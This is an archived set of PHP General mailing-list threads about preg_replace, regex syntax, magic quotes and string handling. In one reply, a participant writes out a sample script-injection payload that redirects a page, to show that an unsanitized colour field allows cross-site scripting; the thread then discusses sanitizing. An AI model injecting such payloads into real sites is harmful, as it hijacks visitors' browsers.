  2. Is there a better way to strip spaces and non alpha numerical
  characters from text strings? I suspect not... maybe the Shadow does ???
 
 if those characters are in the middle, preg_replace is the right function.

Unless you know how many, it's probably the right function even if
they're at the front or end. preg_replace() is almost certainly faster
(in this particular case) than making two function calls.

Cheers,
Rob.
-- 
http://www.interjinn.com
Application and Templating Framework for PHP


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace() question

2009-03-17 Thread Chris

PJ wrote:

1. What is the overhead on preg_replace?


Compared to what? If you write a 3 line regex, it's going to take some 
processing.



2. Is there a better way to strip spaces and non alpha numerical
characters from text strings? I suspect not... maybe the Shadow does ???


For this, preg_replace is probably the right option.

--
Postgresql  php tutorials
http://www.designmagick.com/


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace strange behaviour, duplicates

2008-08-20 Thread Micah Gersten
You know what's not supposed to be next in the  second string, and
that's the word Duo.

Thank you  
Micah Gersten
onShore Networks
Internal Developer
http://www.onshore.com



Adz07 wrote:
 Problem is that a negative assertion assumes i know what is going to come
 after the match, but i don't. I am a bit stuck now :(


 Adz07 wrote:
   
 I am trying to nail down a bit of code for changing processor names
 depending on matches.
 Problem i am having is the replacement takes place then it seems to do it
 again replacing the text just replaced as there are similar matches
 afterwards. example (easier)

 $string = The new Intel Core 2 Duo T8300;

 $patterns = array(/Intel Core 2 Duo/,/Intel Core 2/);

 $replacements = array(Intel Core 2 Duo Processor Technology,Intel Core
 2 Processor Technology);

 I would expect to get the following:

 The new Intel Core 2 Duo Processor Technology T8300

 but i get 

 The new Intel Core 2 Processor Technology Duo Processor Technology T8300

 I can see why its doing it, reading the string in and making the
 replacement but then reading the string in for the next pattern, but i
 don't want it to do this. How do i stop preg_replace from reading in the
 same part of the string that has been replaced already?

 (it's a bad day! :( )

 

   

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace strange behaviour, duplicates

2008-08-18 Thread Adz07

Problem is that a negative assertion assumes i know what is going to come
after the match, but i don't. I am a bit stuck now :(


Adz07 wrote:
 
 I am trying to nail down a bit of code for changing processor names
 depending on matches.
 Problem i am having is the replacement takes place then it seems to do it
 again replacing the text just replaced as there are similar matches
 afterwards. example (easier)
 
 $string = The new Intel Core 2 Duo T8300;
 
 $patterns = array(/Intel Core 2 Duo/,/Intel Core 2/);
 
 $replacements = array(Intel Core 2 Duo Processor Technology,Intel Core
 2 Processor Technology);
 
 I would expect to get the following:
 
 The new Intel Core 2 Duo Processor Technology T8300
 
 but i get 
 
 The new Intel Core 2 Processor Technology Duo Processor Technology T8300
 
 I can see why its doing it, reading the string in and making the
 replacement but then reading the string in for the next pattern, but i
 don't want it to do this. How do i stop preg_replace from reading in the
 same part of the string that has been replaced already?
 
 (it's a bad day! :( )
 

-- 
View this message in context: 
http://www.nabble.com/preg_replace-strange-behaviour%2C-duplicates-tp19001166p19027490.html
Sent from the PHP - General mailing list archive at Nabble.com.


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] preg_replace strange behaviour, duplicates

2008-08-18 Thread Simcha Younger
?php

$string = The new Intel Core 2 Duo T8300;

 

$name = Intel Core 2;

$extra =  Duo;

 

 $insert =  Processor Technology;

 echo preg_replace(/({$name}{$extra}?)/, $1.$insert, $string);

 

 ?

 

 

Simcha Younger

 

-Original Message-

From: Adz07 [mailto:[EMAIL PROTECTED]

Sent: Monday, August 18, 2008 10:17 AM

To: php-general@lists.php.net

Subject: Re: [PHP] preg_replace strange behaviour, duplicates

 

 

Problem is that a negative assertion assumes i know what is going to come

after the match, but i don't. I am a bit stuck now :(

 

 

Adz07 wrote:

 

 I am trying to nail down a bit of code for changing processor names

 depending on matches.

 Problem i am having is the replacement takes place then it seems to do it

 again replacing the text just replaced as there are similar matches

 afterwards. example (easier)

 

 $string = The new Intel Core 2 Duo T8300;

 

 $patterns = array(/Intel Core 2 Duo/,/Intel Core 2/);

 

 $replacements = array(Intel Core 2 Duo Processor Technology,Intel Core

 2 Processor Technology);

 

 I would expect to get the following:

 

 The new Intel Core 2 Duo Processor Technology T8300

 

 but i get 

 

 The new Intel Core 2 Processor Technology Duo Processor Technology T8300

 

 I can see why its doing it, reading the string in and making the

 replacement but then reading the string in for the next pattern, but i

 don't want it to do this. How do i stop preg_replace from reading in the

 same part of the string that has been replaced already?

 

 (it's a bad day! :( )

 

 

-- 

View this message in context:
http://www.nabble.com/preg_replace-strange-behaviour%2C-duplicates-tp1900116
6p19027490.html

Sent from the PHP - General mailing list archive at Nabble.com.

 

 

-- 

PHP General Mailing List (http://www.php.net/)

To unsubscribe, visit: http://www.php.net/unsub.php

 

No virus found in this incoming message.

Checked by AVG - http://www.avg.com http://www.avg.com/  

Version: 8.0.138 / Virus Database: 270.6.4/1617 - Release Date: 17/08/2008
12:58

 

 



Re: [PHP] preg_replace strange behaviour, duplicates

2008-08-15 Thread Micah Gersten
Take a look at the negative assertions on this page:
http://us2.php.net/manual/en/regexp.reference.php

Thank you,
Micah Gersten
onShore Networks
Internal Developer
http://www.onshore.com



Adz07 wrote:
 I am trying to nail down a bit of code for changing processor names depending
 on matches.
 Problem i am having is the replacement takes place then it seems to do it
 again replacing the text just replaced as there are similar matches
 afterwards. example (easier)

 $string = The new Intel Core 2 Duo T8300;

 $patterns = array(/Intel Core 2 Duo/,/Intel Core 2/);

 $replacements = array(/Intel Core 2 Duo Processor Technology/,/Intel Core
 2 Processor Technology/);

 I would expect to get the following:

 The new Intel Core 2 Duo Processor Technology T8300

 but i get 

 The new Intel Core 2 Processor Technology Duo Processor Technology T8300

 I can see why its doing it, reading the string in and making the replacement
 but then reading the string in for the next pattern, but i don't want it to
 do this. How do i stop preg_replace from reading in the same part of the
 string that has been replaced already?

 (it's a bad day! :( )
   

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Preg_Replace $pattern syntax error

2008-06-10 Thread Daniel Brown
On Mon, Jun 9, 2008 at 8:07 PM, Graham Anderson [EMAIL PROTECTED] wrote:
 Hi

 How can I convert the regular expression:
  p\s+style=padding-left:\s+(\d+)px;(.*?)/p
 into a pattern that PHP will accept?
[snip!]

Change this:
$pattern='p\s+style=padding-left:\s+(\d+)px;(.*?)/p';

To this:
$pattern='/p\s+style=padding-left:\s+(\d+)px;(.*?)\/p/Uis';

This adds the delimiters (/) to the beginning and end of the
string, and escapes the slash in the /p so it doesn't kick-out
early, leaving trailing characters.  After the ending delimiter, it
tells preg_replace() to be Ungreedy, CASE-iNSENSITIVE, and to feel
free to cross over newline boundaries (with the 's' modifier).

From there, you can modify your regexp as needed.

One of the absolute best resources for regexp's on the 'Net today,
in my opinion, is here:

http://www.regular-expressions.info/

It's even good for those of us who forget things years later ;-P

-- 
/Daniel P. Brown
Dedicated Servers - Intel 2.4GHz w/2TB bandwidth/mo. starting at just
$59.99/mo. with no contract!
Dedicated servers, VPS, and hosting from $2.50/mo.

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace Question

2008-04-04 Thread Per Jessen
Richard Luckhurst wrote:

 e.g $amount = $524.00 however only 4.00 is displayed in the %Amount
 field on the html page. I tried dropping the .00 from $amount to see
 if this might be a length issue and then %Amount was just 4
 Am I doing something obviously wrong here? I have checked the php
 manual and I appear to be using preg_replace correctly.

From the manual: 

replacement  may contain references of the form \\n or (since PHP
4.0.4) $n, with the latter form being the preferred one

If you use $amount ='\$524.00' instead of '$524.00', it'll work. 


/Per Jessen, Zürich


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] Re: PHP preg_replace help

2007-09-18 Thread Al
Just use stripslashes() on your submitted data and forget about testing for 
magic_quotes.  It's good practice anyhow.  \ is not legit text regardless.




haim Chaikin wrote:

Hello,

 


I am a beginner in PHP. I need help with the function preg_replace.

I am trying to remove the backslashes ( \ ) from a string that is submitted
by the user.

It is submitted in a form but it adds \ before the quotation marks (  ).

Will this change if I use the GET method instead of POST.

If not can you please tell me how to use preg_replace to remove the
backslashes.

 


Thank You,

Chaim Chaikin

Novice PHP programmer

Hotwire Band Website Administrator

http://hotwire.totalh.com




--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Re: PHP preg_replace help

2007-09-18 Thread Arpad Ray
Apologies if you already received this message, I tried to send it 
earlier from my webmail but it doesn't seem to have worked.


Al wrote:
Just use stripslashes() on your submitted data and forget about 
testing for magic_quotes.  It's good practice anyhow.  \ is not legit 
text regardless.




Using stripslashes() on all submitted data is most certainly *not* good 
practice. If magic_quotes_gpc is later turned off or you're using one of 
the versions of PHP with buggy magic_quotes_gpc support then you can 
easily lose data. Reversing the effects of magic_quotes_gpc is far from 
trivial, there's lots of potential for subtle bugs, let alone completely 
forgetting about $_COOKIE.


See my earlier reply for a real solution.

Arpad

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace() help

2007-07-14 Thread Richard Heyes

What am I doing wrong?


Using regular expressions when you don't need to:

$txt = str_replace(' ', 'nbsp;', substr($txt, strpos($txt, --)));

Might be a few typos in there. And I may have mixed up the args.

--
Richard Heyes
+44 (0)844 801 1072
http://www.websupportsolutions.co.uk

Knowledge Base and HelpDesk software
that can cut the cost of online support

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace() help

2007-07-13 Thread Jim Lucas

Rick Pasotto wrote:

I have quotes like the following:

$txt = 'A promise is a debt. -- Irish Proverb';

I'd like to replace all the spaces afer the '--' with nbsp;

This is what I've tried:

$pat = '/( --.*)(\s|\n)/U';
$rpl = '$1$2nbsp;';
while (preg_match($pat,$txt,$matches)  0) {
print $txt\n;
printf([0]: %s\n,$matches[0]);
printf([1]: %s\n,$matches[1]);
printf([2]: %s\n,$matches[2]);
preg_replace($pat,$rpl,$txt);
}

The prints are for debugging. $matches contains what I expect but
nothing gets replaced and $txt stays the same so it loops forever.

What am I doing wrong?



Maybe this

?php

$txt = 'A promise is a debt. -- Irish Proverb';

$parts = explode('--', $txt, 2);

$parts[1] = str_replace(' ', 'nbsp;', $parts[1]);

echo join('--', $parts);

?

--
Jim Lucas

   Some men are born to greatness, some achieve greatness,
   and some have greatness thrust upon them.

Twelfth Night, Act II, Scene V
by William Shakespeare

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace() help

2007-07-13 Thread Daniel Brown

On 7/13/07, Rick Pasotto [EMAIL PROTECTED] wrote:

I have quotes like the following:

$txt = 'A promise is a debt. -- Irish Proverb';

I'd like to replace all the spaces afer the '--' with nbsp;

This is what I've tried:

$pat = '/( --.*)(\s|\n)/U';
$rpl = '$1$2nbsp;';
while (preg_match($pat,$txt,$matches)  0) {
print $txt\n;
printf([0]: %s\n,$matches[0]);
printf([1]: %s\n,$matches[1]);
printf([2]: %s\n,$matches[2]);
preg_replace($pat,$rpl,$txt);
}

The prints are for debugging. $matches contains what I expect but
nothing gets replaced and $txt stays the same so it loops forever.

What am I doing wrong?

--
Everyone is as God has made him, and oftentimes a great deal worse.
-- Miguel De Cervantes
Rick Pasotto[EMAIL PROTECTED]http://www.niof.net

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php




   If you mean that EVERY space after the -- separator should be
replaced, then just try this:

?
$txt = As a rule, kids with meningitis don't smile when looking at
attractive faces -- not even you, Miss America, or the ravishing
pharmacist I mentioned above. -- ER Questions and Answers, Part 3;

function replace_space($txt) {
   $field = explode(--,$txt);
   for($i=0;$i(count($field)-1);$i++) $new_txt .= $field[$i];
   $new_txt .= --.str_replace( ,nbsp;,$field[(count($field)-1)]);
   return $new_txt;
}

echo replace_space($txt).\n;
?

   This would print:
   A promise is a debt. --nbsp;Irishnbsp;Proverb

   Conversely, it will still properly handle the existence of
double-hyphens anywhere else in the quote, but not the source.
Consider this string:
   As a rule, kids with meningitis don't smile when looking at
attractive faces -- not even you, Miss America, or the ravishing
pharmacist I mentioned above. -- ER Questions and Answers, Part 3

   This would still become:
   As a rule, kids with meningitis don't smile when looking at
attractive faces -- not even you, Miss America, or the ravishing
pharmacist I mentioned above.
--nbsp;ERnbsp;Questionsnbsp;andnbsp;Answers,nbsp;Partnbsp;3

   However, if you have double-hyphens in the source, like so:
   What a pain in the butt this would be! -- Me, sending an
example -- to you

   The phrase would be printed like this:
   What a pain in the butt this would be! -- Me, sending an
example --nbsp;tonbsp;you

--
Daniel P. Brown
[office] (570-) 587-7080 Ext. 272
[mobile] (570-) 766-8107

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace() help

2007-07-13 Thread Jim Lucas

Rick Pasotto wrote:

I have quotes like the following:

$txt = 'A promise is a debt. -- Irish Proverb';

I'd like to replace all the spaces afer the '--' with nbsp;

This is what I've tried:

$pat = '/( --.*)(\s|\n)/U';
$rpl = '$1$2nbsp;';
while (preg_match($pat,$txt,$matches)  0) {
print $txt\n;
printf([0]: %s\n,$matches[0]);
printf([1]: %s\n,$matches[1]);
printf([2]: %s\n,$matches[2]);
preg_replace($pat,$rpl,$txt);
}

The prints are for debugging. $matches contains what I expect but
nothing gets replaced and $txt stays the same so it loops forever.

What am I doing wrong?


What is your goal for this?

--
Jim Lucas

   Some men are born to greatness, some achieve greatness,
   and some have greatness thrust upon them.

Twelfth Night, Act II, Scene V
by William Shakespeare

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace() help

2007-07-13 Thread Richard Lynch
On Fri, July 13, 2007 3:52 pm, Rick Pasotto wrote:
 I have quotes like the following:

 $txt = 'A promise is a debt. -- Irish Proverb';

 I'd like to replace all the spaces afer the '--' with nbsp;

 This is what I've tried:

   $pat = '/( --.*)(\s|\n)/U';

You might want to use \\s and \\n, so you are 100% clear that the PHP
strings have a single \ in them, and that they don't have a newline.

The .* is probably messing you up...

You could probably manage this with some kind of
preg_replace_callback, but it seems to me it would be easier to do:

$txt = 'A promise is a debt. -- Irish Proverb';
$pos = strpos($txt, '--');
$html = substr($txt, 0, $pos) . '--' . str_replace(' ', 'nbsp;',
substr($txt, $pos + 2));

-- 
Some people have a gift link here.
Know what I want?
I want you to buy a CD from some indie artist.
http://cdbaby.com/browse/from/lynch
Yeah, I get a buck. So?

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace and regular expressions.

2007-04-16 Thread Richard Lynch
http://php.net/preg_replace_all

And be sure to use Ungreedy flag to your pattern:
/pattern/U

On Sat, April 14, 2007 11:22 pm, Travis Moore wrote:
 Okay, so what I have is a BB code type of thing for a CMS, which I for
 obvious reasons can't allow HTML.

 Here's the snippet of my function:

 
 function bbCode($str)
   {
$db = new _Mysql;
$strOld = $str;
$strNew = $str;
$getRegexs = $db-query(SELECT `regex`,`replace`,`search` FROM
 `_bb_codes`);
while ($getRegex = mysql_fetch_assoc($getRegexs))
 {
  $search = base64_decode($getRegex['search']);
  $regex = base64_decode($getRegex['regex']);
  $replace = base64_decode($getRegex['replace']);
  if (preg_match($search,$strNew) == 1)
   {
for ($i = 1; $i  20; $i++)
 {
  $strNew = $strOld;
   $strNew = preg_replace($regex,$replace,$strNew);
  if ($strNew == $strOld)
   {
break;
   }
  else
   {
$strOld = $strNew;
   }
 }
   }
 }
$return = $strNew;
return $return;
   }
 **

 But, for something like this:

 [quote][quote]Quote #2[/quote]Quote #1[/quote]No quote.

 I'll get:

 div class=quoteContainer
 [quote]Quote #2[/quote]Quote #1/div
 No quote.

 Despite being in the loop.

 Regex is: /\[quote\]((.*|\n)*)\[\/quote\]/
 Replace is: div class=messageQuote$1/div

 Both are stored base64 encoded in a database.

 Any help / suggestions much appreciated.

 --
 PHP General Mailing List (http://www.php.net/)
 To unsubscribe, visit: http://www.php.net/unsub.php




-- 
Some people have a gift link here.
Know what I want?
I want you to buy a CD from some indie artist.
http://cdbaby.com/browse/from/lynch
Yeah, I get a buck. So?

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] preg_replace and regular expressions.

2007-04-15 Thread Buesching, Logan J
In your regex, you have a greedy matcher, i.e. .* will match as much
as it can to satisfy its condition.  I believe you can do .*? and it
will work, as .*? will match as little as it can to be satisfied.

-Logan

-Original Message-
From: Travis Moore [mailto:[EMAIL PROTECTED] 
Sent: Sunday, April 15, 2007 12:22 AM
To: [EMAIL PROTECTED]
Subject: [PHP] preg_replace and regular expressions.

Okay, so what I have is a BB code type of thing for a CMS, which I for 
obvious reasons can't allow HTML.

Here's the snippet of my function:


function bbCode($str)
  {
   $db = new _Mysql;
   $strOld = $str;
   $strNew = $str;
   $getRegexs = $db-query(SELECT `regex`,`replace`,`search` FROM 
`_bb_codes`);
   while ($getRegex = mysql_fetch_assoc($getRegexs))
{
 $search = base64_decode($getRegex['search']);
 $regex = base64_decode($getRegex['regex']);
 $replace = base64_decode($getRegex['replace']);
 if (preg_match($search,$strNew) == 1)
  {
   for ($i = 1; $i  20; $i++)
{
 $strNew = $strOld;
$strNew = preg_replace($regex,$replace,$strNew);
 if ($strNew == $strOld)
  {
   break;
  }
 else
  {
   $strOld = $strNew;
  }
}
  }
}
   $return = $strNew;
   return $return;
  }
**

But, for something like this:

[quote][quote]Quote #2[/quote]Quote #1[/quote]No quote.

I'll get:

div class=quoteContainer
[quote]Quote #2[/quote]Quote #1/div
No quote.

Despite being in the loop.

Regex is: /\[quote\]((.*|\n)*)\[\/quote\]/
Replace is: div class=messageQuote$1/div

Both are stored base64 encoded in a database.

Any help / suggestions much appreciated.

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace();

2007-02-02 Thread wwww
I am not a very experienced programmer, but I think that str_replace
can be used in this case:
$new_string=str_replace('|', '_', $old_string)

then use the same function to replace spaces.

Ed

Friday, February 2, 2007, 9:30:37 PM, you wrote:

 Hi all,

 I want replace the | (pipe) and the   (space) chars where are
 between  (double-quotes)  by an underscore _ with the
 preg_replace(); funtction.

 Can someone help me to find the correct regex.

 Thanks in advance

 Seb



-- 
Best regards,
 mailto:[EMAIL PROTECTED]

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace();

2007-02-02 Thread Steffen Ebermann
This always works for me:

if (preg_match_all(!\(.+)\!sU, $var, $match))
{
  for ($i=0; $icount($match[0]); $i++)
  {
$old = $match[1][$i];
$new = preg_replace(!\|| !, _, $old);
$var = str_replace(\$old\, \$new\, $var);
  }
}


On Fri, Feb 02, 2007 at 07:30:37PM +0100, Sébastien WENSKE wrote:
 Hi all,
 
 I want replace the | (pipe) and the   (space) chars where are between  
 (double-quotes)  by an underscore _ with the preg_replace(); funtction.
 
 Can someone help me to find the correct regex.
 
 Thanks in advance
 
 Seb

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace(); [solved]

2007-02-02 Thread Sébastien WENSKE

nice !

thanks Steffen  Ed !

i've just add  '[src|background] *= *' to make sure that the replacement 
takes effect only in THML tag's attributes


if (preg_match_all(![src|background] *= *\(.+)\!sU, $htmlContent, 
$match))

{
 for ($i=0; $icount($match[0]); $i++)
 {
   $old = $match[1][$i];
   $new = preg_replace(!\|| !, _, $old);
   $htmlContent = str_replace(\$old\, \$new\, $htmlContent);
 }
}

- Original Message - 
From: Steffen Ebermann [EMAIL PROTECTED]

To: php-general@lists.php.net
Cc: Sébastien WENSKE [EMAIL PROTECTED]
Sent: Friday, February 02, 2007 9:01 PM
Subject: Re: [PHP] preg_replace();



This always works for me:

if (preg_match_all(!\(.+)\!sU, $var, $match))
{
 for ($i=0; $icount($match[0]); $i++)
 {
   $old = $match[1][$i];
   $new = preg_replace(!\|| !, _, $old);
   $var = str_replace(\$old\, \$new\, $var);
 }
}


On Fri, Feb 02, 2007 at 07:30:37PM +0100, Sébastien WENSKE wrote:

Hi all,

I want replace the | (pipe) and the   (space) chars where are between 
 (double-quotes)  by an underscore _ with the preg_replace(); 
funtction.


Can someone help me to find the correct regex.

Thanks in advance

Seb




--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace(); [solved]

2007-02-02 Thread Steffen Ebermann
Maybe you just mistyped that, but this would *probably* also match on s=
or bar=, cause [ and ] are metacharacters.

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace();

2007-02-02 Thread Steffen Ebermann
On Fri, Feb 02, 2007 at 09:01:38PM +0100, Steffen Ebermann wrote:

 $new = preg_replace(!\|| !, _, $old);

Heyha, the mail's subject gone obsolete. preg_replace isn't
necessary at all.

Better use: $new = str_replace(array (|, ), _, $old);

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace();

2007-02-02 Thread Richard Lynch
On Fri, February 2, 2007 12:30 pm, Sébastien WENSKE wrote:
 I want replace the | (pipe) and the   (space) chars where are
 between  (double-quotes)  by an underscore _ with the
 preg_replace(); funtction.

 Can someone help me to find the correct regex.

You can even go so far so to do both at once:
$text = str_replace(array('|', ' '), array('_', '_'), $text);

This does ignore the initial requirement of only replacing the ones
between quotes, however...

Something like this will honor the quotes restriction:
$text = preg_replace_all('/(.*)[| ](.*)/, '\\1_\\2', $text);

I probably got the PCRE wrong, but it's close.

Download The Regex Coach and play with it. :-)

-- 
Some people have a gift link here.
Know what I want?
I want you to buy a CD from some starving artist.
http://cdbaby.com/browse/from/lynch
Yeah, I get a buck. So?

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace (again)

2006-09-22 Thread Richard Lynch
On Wed, September 20, 2006 11:20 am, Pawel Miroslawski wrote:
 Hi
 it's example script:

 ?php
 $string = This is some _color:pink_ colored text _color_;

 $patterns[0] = '/_color:(.*?)_/';
 $patterns[1] = '/_color_/';
 $replacements[0] = 'font color=$1';
 $replacements[1] = '/font';

 echo preg_replace($patterns, $replacements, $string);
 ?

 It should be ok, but i don't test it.

For the sanitization...

.*? could be something more like:  [#a-z0-9A-Z]+

The # assumes you want to allow #ff style colors.

Since this whitelists the specific characters you allow, it's probably
better than the strip_tags thing.

-- 
Like Music?
http://l-i-e.com/artists.htm

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] preg_replace (again) [solved]

2006-09-20 Thread Robert Cummings
On Wed, 2006-09-20 at 11:45 +0700, Peter Lauri wrote:
 Just to share my solution:

Out of curiosity, why don't you go with the very well known BBCode
system?

 preg_replace('/_color:(.*?)_(.*?)_color_/i', 'font color=$1$2/font',
 $html);

Hopefully this is a private system, otherwise someone not very nice
might do the following:


This is some _color:pink script type=text/javascript
language=javascript
document.location = 'http://www.myDoityPr0nCollection.com';
/scriptfont color=pink_ colored text _color_ that I want to transfer


You need better content sanitization ]:B

FWIW, the font tag is about as deprecated as deprecated can get. You
might consider switching to span.

Cheers,
Rob.
-- 
..
| InterJinn Application Framework - http://www.interjinn.com |
::
| An application and templating framework for PHP. Boasting  |
| a powerful, scalable system for accessing system services  |
| such as forms, properties, sessions, and caches. InterJinn |
| also provides an extremely flexible architecture for   |
| creating re-usable components quickly and easily.  |
`'

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] preg_replace (again) [solved]

2006-09-20 Thread Peter Lauri
Hi,

Thanks for you comment. I already changed to span.

About sanitation: Do you know any open source where it checks code if it is
acceptable or not? Or should I just create a lib that do some preg_match to
see if any javascript tag is inside (assuming javascript should not be
allowed).

This is a private system, so I do not worry so much :)

/Peter

-Original Message-
From: Robert Cummings [mailto:[EMAIL PROTECTED] 
Sent: Wednesday, September 20, 2006 2:13 PM
To: Peter Lauri
Cc: 'PHP General'
Subject: RE: [PHP] preg_replace (again) [solved]

On Wed, 2006-09-20 at 11:45 +0700, Peter Lauri wrote:
 Just to share my solution:

Out of curiosity, why don't you go with the very well known BBCode
system?

 preg_replace('/_color:(.*?)_(.*?)_color_/i', 'font color=$1$2/font',
 $html);

Hopefully this is a private system, otherwise someone not very nice
might do the following:


This is some _color:pink script type=text/javascript
language=javascript
document.location = 'http://www.myDoityPr0nCollection.com';
/scriptfont color=pink_ colored text _color_ that I want to transfer


You need better content sanitization ]:B

FWIW, the font tag is about as deprecated as deprecated can get. You
might consider switching to span.

Cheers,
Rob.
-- 
..
| InterJinn Application Framework - http://www.interjinn.com |
::
| An application and templating framework for PHP. Boasting  |
| a powerful, scalable system for accessing system services  |
| such as forms, properties, sessions, and caches. InterJinn |
| also provides an extremely flexible architecture for   |
| creating re-usable components quickly and easily.  |
`'

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace (again) [solved]

2006-09-20 Thread Andrei
Well you can use
string strip_tags ( string str [, string allowable_tags] )
function

Andy

Peter Lauri wrote:
 Hi,
 
 Thanks for you comment. I already changed to span.
 
 About sanitation: Do you know any open source where it checks code if it is
 acceptable or not? Or should I just create a lib that do some preg_match to
 see if any javascript tag is inside (assuming javascript should not be
 allowed).
 
 This is a private system, so I do not worry so much :)
 
 /Peter
 
 -Original Message-
 From: Robert Cummings [mailto:[EMAIL PROTECTED] 
 Sent: Wednesday, September 20, 2006 2:13 PM
 To: Peter Lauri
 Cc: 'PHP General'
 Subject: RE: [PHP] preg_replace (again) [solved]
 
 On Wed, 2006-09-20 at 11:45 +0700, Peter Lauri wrote:
 Just to share my solution:
 
 Out of curiosity, why don't you go with the very well known BBCode
 system?
 
 preg_replace('/_color:(.*?)_(.*?)_color_/i', 'font color=$1$2/font',
 $html);
 
 Hopefully this is a private system, otherwise someone not very nice
 might do the following:
 
 
 This is some _color:pink script type=text/javascript
 language=javascript
 document.location = 'http://www.myDoityPr0nCollection.com';
 /scriptfont color=pink_ colored text _color_ that I want to transfer
 
 
 You need better content sanitization ]:B
 
 FWIW, the font tag is about as deprecated as deprecated can get. You
 might consider switching to span.
 
 Cheers,
 Rob.

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace (again)

2006-09-20 Thread Pawel Miroslawski

Hi
it's example script:

?php
$string = This is some _color:pink_ colored text _color_;

$patterns[0] = '/_color:(.*?)_/';
$patterns[1] = '/_color_/';
$replacements[0] = 'font color=$1';
$replacements[1] = '/font';

echo preg_replace($patterns, $replacements, $string);
?

It should be ok, but i don't test it.

Pawel


RE: [PHP] preg_replace (again) [solved]

2006-09-19 Thread Peter Lauri
Just to share my solution:

preg_replace('/_color:(.*?)_(.*?)_color_/i', 'font color=$1$2/font',
$html);

/Peter

-Original Message-
From: Peter Lauri [mailto:[EMAIL PROTECTED] 
Sent: Wednesday, September 20, 2006 9:42 AM
To: 'PHP General'
Subject: [PHP] preg_replace (again)

Hi group,

 

I know I am a little bit stupid when it comes to actually figuring out how
to use the preg_match and preg_replace. This is what I am facing:

 

A string like this: This is some _color:pink_ colored text _color_ that I
want to transfer

 

Should convert to: This is some font color=pinkcolored text/font that
I want to transfer

 

Anyone who see a simple solution to this? Right now I have created an ugly
script that do the same thing, but I want to start to learn and use
preg_match.

 

Thanks.

 

/Peter

 

www.lauri.se http://www.lauri.se/  - Personal web site

www.dwsasia.com http://www.dwsasia.com/  - Company web site 

 

 

 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace \\1 yIKES!

2006-06-14 Thread sam


On Jun 13, 2006, at 1:58 PM, tedd wrote:


At 11:33 AM -0700 6/13/06, sam wrote:

Wow this is hard I can't wait till I get the hang of it.

Capitalize the first letter of a word.


Try:

?php
$word = yikes;
$word[0]=strtoupper($word[0]);
echo($word);
?



This blows my mind. What should one think, everything is an array?  
Well, okay not every but everything that's in linear consecutive  
order; anything that can be indexed?


I was trying to make an array from $word but explode() doesn't take  
an empty delimiter so I gave up and went for the preg_replace.



And hey yo, Jochem,
I did RTFM, for hours, I always do before I post to the list. I just  
missed all the answers in the fine manual this time. Cut me some slack.


Where should I wire the Euros to?

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace \\1 yIKES!

2006-06-14 Thread Jochem Maas
sam wrote:
 
 On Jun 13, 2006, at 1:58 PM, tedd wrote:
 
 At 11:33 AM -0700 6/13/06, sam wrote:
 Wow this is hard I can't wait till I get the hang of it.

 Capitalize the first letter of a word.

 Try:

 ?php
 $word = yikes;
 $word[0]=strtoupper($word[0]);
 echo($word);
 ?
 
 
 This blows my mind. What should one think, everything is an array?

an array is an array.
a string is a string.

characters in a string can be accessed using array-like notation using the
offset postion of the relevant char (elements are zero based)

 Well, okay not every but everything that's in linear consecutive order;
 anything that can be indexed?
 
 I was trying to make an array from $word but explode() doesn't take an
 empty delimiter so I gave up and went for the preg_replace.
 
 
 And hey yo, Jochem,
